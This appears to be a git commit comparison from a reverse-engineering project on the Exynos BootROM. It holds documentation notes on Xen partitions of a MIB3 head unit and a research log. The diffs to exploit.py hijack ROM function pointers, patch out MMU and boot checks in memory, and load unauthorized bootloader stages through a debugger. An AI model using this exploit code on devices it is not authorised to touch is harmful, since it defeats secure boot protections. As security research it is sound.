Compare commits

...

3 Commits

Author SHA1 Message Date
Jonathan Herrewijnen
f905c6d2d3 documentation update 2024-11-07 19:08:53 +01:00
Jonathan Herrewijnen
091efe2f80 mib3 boots with debugger until after BL2. BL33 not properly booting 2024-11-05 18:30:55 +01:00
Jonathan Herrewijnen
1e040cbea9 modifies pointers to also debug boot MIB3 2024-11-05 17:30:09 +01:00
6 changed files with 144 additions and 28 deletions

View File

@ -44,3 +44,7 @@ When the ROM is unable to boot from the internal storage, it enters ``Exynos Rec
In this mode the bootROM accepts data over USB. There is little functionality other than receiving data, meaning almost no additional attack surface except for the download protocol.
The Exynos BootROM uses a custom protocol to download a bootable image over USB. This image is verified and executed by the BootROM. Unauthorized images are rejected. Initial authorisation is done using the '_auth_bl1' function. Frederic has exploited a vulnerability in the download protocol to load Unauthorized images.
SOC information
---------------
The Exynos 8890 runs on ARM64, or AARCH64, it's part of the Armv8-A architecture.

View File

@ -0,0 +1,63 @@
===
XEN
===
partitions
----------
.. code:: bash
(venv) ➜ MIB3 Top High mmls 32gb.bin
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 4096-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Safety Table
001: ------- 0000000000 0000000255 0000000256 Unallocated
002: Meta 0000000001 0000000001 0000000001 GPT Header
003: Meta 0000000002 0000000005 0000000004 Partition Table
004: 000 0000000256 0000002815 0000002560 boot_a
005: 001 0000002816 0000005375 0000002560 boot_b
006: 002 0000005376 0000005887 0000000512 hyp_a
007: 003 0000005888 0000006143 0000000256 dtb_a
008: 004 0000006144 0000009727 0000003584 kerneldom0_a
009: 006 0000009728 0000012287 0000002560 initramfsdom0_a
010: 007 0000012288 0000102911 0000090624 systemdom0_a
011: 008 0000102912 0000109055 0000006144 system2dom0_a
012: 012 0000109056 0000113919 0000004864 kerneldomu1_a
013: 013 0000113920 0000114175 0000000256 dtbdomu1_a
014: 014 0000114176 0000116735 0000002560 initramfsdomu1_a
015: 015 0000116736 0000203775 0000087040 systemdomu1_a
016: 016 0000203776 0000209919 0000006144 system2domu1_a
017: 031 0000209920 0000210175 0000000256 align1
018: 032 0000210176 0000210687 0000000512 hyp_b
019: 033 0000210688 0000210943 0000000256 dtb_b
020: 034 0000210944 0000214527 0000003584 kerneldom0_b
021: 036 0000214528 0000217087 0000002560 initramfsdom0_b
022: 037 0000217088 0000307711 0000090624 systemdom0_b
023: 038 0000307712 0000313855 0000006144 system2dom0_b
024: 042 0000313856 0000318719 0000004864 kerneldomu1_b
025: 043 0000318720 0000318975 0000000256 dtbdomu1_b
026: 044 0000318976 0000321535 0000002560 initramfsdomu1_b
027: 045 0000321536 0000408575 0000087040 systemdomu1_b
028: 046 0000408576 0000414719 0000006144 system2domu1_b
029: 059 0000414720 0000418815 0000004096 system_error_dump
030: 069 0000418816 0000420863 0000002048 sys_ss
031: 070 0000420864 0000437247 0000016384 sys_persist
032: 071 0000437248 0000453631 0000016384 sys_irc
033: 072 0000453632 0000500735 0000047104 sys_misc1
034: 099 0000500736 0001063935 0000563200 ivi_opt
035: 100 0001063936 0007626751 0006562816 ivi
036: ------- 0007626752 0007627775 0000001024 Unallocated
TFFS is a proprietary file system from Tuxera, with one mounter available `tffsmount <https://github.com/NetherlandsForensicInstitute/tffsmount>`_, however, we had no success mounting this file system. However, a lot of information can already be extracted from the binary by using a simple strings operation.
Perceived boot order: boot_a, then hypervisor via hyp_a. dtb_a could be the device tree blob, providing information of/on hardware devices. kerneldom0_a would be the primary kernel, with initramfs being the RAM disk for dom0.
.. quote:: "Dom0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first and manages the DomU unprivileged domains. The Xen hypervisor is not usable without Dom0. This is essentially the "host" operating system (or a "service console", if you prefer). As a result, Dom0 runs the Xen management toolstack, and has special privileges, like being able to access the hardware directly."
Data can be shared between domains using XenStore - an information storage space between domains maintained by Xenstored.
Dom0 is the only domain with direct access to hardware, with DomU being an unprivileged domain, which need to communicate with Dom0 to access hardware. Multiple DomU can be created.

View File

@ -258,4 +258,23 @@ I tried modifying some code to write text to the screen. In order to view whethe
It would appear that I'm currently only able to modify code before executing any part of BL33. I'm as of yet unable to return to the debugger at any point in BL33.
Week 45 - 2024
--------------
Loaded the debugger on the Head unit. There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000``. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address.
The debugger stays alive, up until after booting BL2. But when we jump into the function that should receive the next boot stage for BL33, the debugger does not return, nor receive the next boot stage. Normally, on the Samsung S7, the device returns to the debugger, allowing modifications on the BL33 boot stage in memory.
.. code:: python
self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(1)
self.connect_device()
self.send_normal_stage(bl33) # Never returns/completes on the MIB3
self.connect_device()
self.usb_read(0x200) # GiAs
The MMU appears to be off however.
Quick look through the MIB3 images, shows that some partitions are still unencrypted, and contain a fair amount of strings.

View File

@ -37,7 +37,7 @@
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--debugger-boot"],
"args": ["--debugger-boot", "--MIB3"],
},
{
"name": "Debug current file",

View File

@ -633,22 +633,34 @@ class ExynosDevice():
DEBUGGER_ADDR = 0x2069000 # 0x2069000
# Dump contents of TTBR0_EL3 from memory into a pandas dataframe and write it to a pickle file
import pandas as pd
blub = self.cd.memdump_region(0x02035000, 0x1000)
try:
df = pd.read_pickle('ttbr0_el3.pkl')
# Concat data to existing dataframe
df = pd.concat([df, pd.Series([blub])], ignore_index=True)
except:
df = pd.DataFrame()
df['TTBR0_EL3'] = [blub]
df.to_pickle('ttbr0_el3.pkl')
#import pandas as pd
#blub = self.cd.memdump_region(0x02035000, 0x1000)
#try:
# df = pd.read_pickle('ttbr0_el3.pkl')
# # Concat data to existing dataframe
# df = pd.concat([df, pd.Series([blub])], ignore_index=True)
#except:
# df = pd.DataFrame()
# df['TTBR0_EL3'] = [blub]
#df.to_pickle('ttbr0_el3.pkl')
# Relocate debugger
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11203000, g_data_received=0x11204000)
DEBUGGER_ADDR = 0x11200000
# Load bootloader stages
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
if args.MIB3:
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
# Test debugger connection
self.cd.test_connection()
@ -667,7 +679,6 @@ class ExynosDevice():
self.connect_device()
# Send boot stage 1
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
self.send_normal_stage(bl1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
@ -690,7 +701,12 @@ class ExynosDevice():
# Hijack ROM download function
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
BL1_POINTER = 0x02021880
if args.MIB3:
BL1_POINTER = 0x02021890
self.cd.memwrite_region(BL1_POINTER, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
# Write a patch to BL1 in memory
# self.cd.memwrite_region(0x2021800+bl1.find(b'2015'), b'2014')
@ -716,7 +732,7 @@ class ExynosDevice():
# After downloading the next stage, make sure the device reconnects
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
self.send_normal_stage(bl31)
time.sleep(2)
# Assure that the debugger is returning (obligatory assuration)
@ -730,19 +746,28 @@ class ExynosDevice():
# Assure return to debugger
time.sleep(2)
self.usb_read(0x200) # GiAs
self.cd.memwrite_region(0x02031008, b"ELH")
# self.cd.memwrite_region(0x02031008, b"ELH")
# Get pointer to BL31
BL31_POINTER = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
TTBR0_EL3 = 0x02035600 # Zeroed out
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
MMU_CHECK = 0x020244e8
if args.MIB3:
MMU_CHECK = 0x0202a314
self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
# DWC3 OTG update mode -> Might be useful at some point?
# self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
# Jump into BL31 and execute it
self.cd.restore_stack_and_jump(0x02024010)
#BL31_POINTER = 0x02024010
#if args.MIB3:
# BL31_POINTER = 0x020c0000
self.cd.restore_stack_and_jump(BL31_POINTER)
# Obligatory reconnect and check of debugger
time.sleep(2)
@ -763,11 +788,12 @@ class ExynosDevice():
VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
self.test_write_execute(0x11207010)
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
if args.MIB3:
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
self.cd.restore_stack_and_jump(hijacked_fun)
# ==== Stage 4 BL2 ====
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
self.send_normal_stage(bl2)
time.sleep(2)
self.connect_device()
@ -793,23 +819,26 @@ class ExynosDevice():
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(1)
self.connect_device()
# ==== Stage 5 ====
# Sends stage 5 (BL33) but returns to debugger after sending.
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
self.send_normal_stage(bl33) # Never return/completes
self.connect_device()
self.usb_read(0x200) # GiAs
# print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
# off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
# stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
self.send_normal_stage(stage4)
self.connect_device()
self.usb_read(0x200) # GiAs
# Change bootmode to SDCARD (allow normal booting, if pressing volume up)
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
# Move default values into registers
self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
# Jump into a different function that continues the boot flow (different than BL33_LR)
self.cd.restore_stack_and_jump(0x02024e5c)
@ -822,6 +851,7 @@ if __name__ == "__main__":
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
arg.add_argument("--MIB3", action="store_true", help="Whether boot is on a MIB3", default=False)
args = arg.parse_args()
exynos = ExynosDevice()

Binary file not shown.